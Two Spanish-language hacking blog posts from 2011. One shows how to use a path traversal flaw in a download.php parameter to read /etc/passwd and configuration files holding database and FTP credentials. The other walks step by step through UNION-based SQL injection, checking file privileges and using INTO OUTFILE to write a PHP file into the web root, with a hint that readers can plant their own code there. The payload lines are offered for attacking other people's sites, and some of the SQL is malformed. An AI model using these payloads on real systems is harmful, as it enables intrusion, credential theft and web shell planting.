miércoles, 9 de marzo de 2011

Remote File Downloader



Esta Vulnerabilidad no es muy usada, pero hay muchas webs que la disponen para ser explotada.

Lo que hace esta vulnerabilidad, es poder descargarnos archivos remotamente del servidor o de la web que el usuario tenga permitido el acceso.

Path Vulnerable:

http://site.com/path/download.php?search=archivo

Comprobamos si el sitio puede ser descargado desde directorios anteriores y no tenga filtrado "../../"

http://site.com/path/download.php?search=../../../../../../../../../../etc/passwd




Si el archivo descargado se ve exactamente como se veía /etc/passwd, significa que tenemos un path vulnerable, si nos descarga un mensaje de error o no nos descarga, lamentable el path no es vulnerable.

Con una web Vulnerable a RFD podemos descargar archivos con información delicada como los usuarios de BD o del FTP que normalmente esta en /config.php, pero normalmente siempre es otra dirección cambiada por el WebMaster.



martes, 1 de marzo de 2011

SQL Injection (OutFile)

SQL inject Outfile:

Sabemos que en una SQL inject nos tiene que botar un error

Error Sintaxis SQL in : /home/xxx/htdocs/vuln.php in line x


Y con un target parecido a este

http://target.com/path/vuln.php?id=x'


Buscamos tablas hasta que nos quite el error o nos saque el numero de la tabla

-x union all select 1--
-x union all select 1,2--
-x union all select 1,2,3--
-x union all select 1,2,3,4--
-x union all select 1,2,3,4,5--
<- Aqui nos devolvio el numero de la tabla


Imaginamos que la tabla esta en la 5 y nos salto el numero 2..

Usamos user() en el "2" para saber el actual usuario y el host.

-x union all select 1,user(),3,4,5--

Nos bota root@localhost

-x union all select user,host,3,4 from mysql.user where File_priv = 'Y' && user='root' && host='localhost';
nos bota rootlocalhost

El usuarios tiene permisos File, podemos usar el comando load_file() y into outfile. El primer paso para seria saber el DocumentRoot que es donde se encuentran los documentos web, para saber la direccion del DocumentRoot podemos trata de probocar un Full Path Disclosure (FPD), leer el archivo de configuración de Apache usando load_file...


devemos de tener en cuanta de que para poder hacer uotup tenemos que saber que la directiva Magic_quotes_gpc del php no este activada, esta directiva escapa las comillas simples y dobles que viajan vía GET, POST y como COOKIE y acegurarnos que el directorio tenga permiso de escritura.

Tenemos que saber donde esta el directorio para poder indicar donde guardaremos nuestro archivo.


into outfile '/home/xxx/htdocs/aerchivocreado.php'--

y en el el numero 2 agregamos

'<@? phpinfo(); ?@>' // sin @

En resultado

Salida:

-x union all select1,'',3,4,5 outfile '/home/xxx/xxx/aerchivocreado.php'--


Seria Igual a:



-x+union+all+select1,'',3,4,5+outfile+'/home/xxx/xxx/aerchivocreado.php'--


Les dejo a su imaginación el codgo del archivo php


Gretz: Yoyahack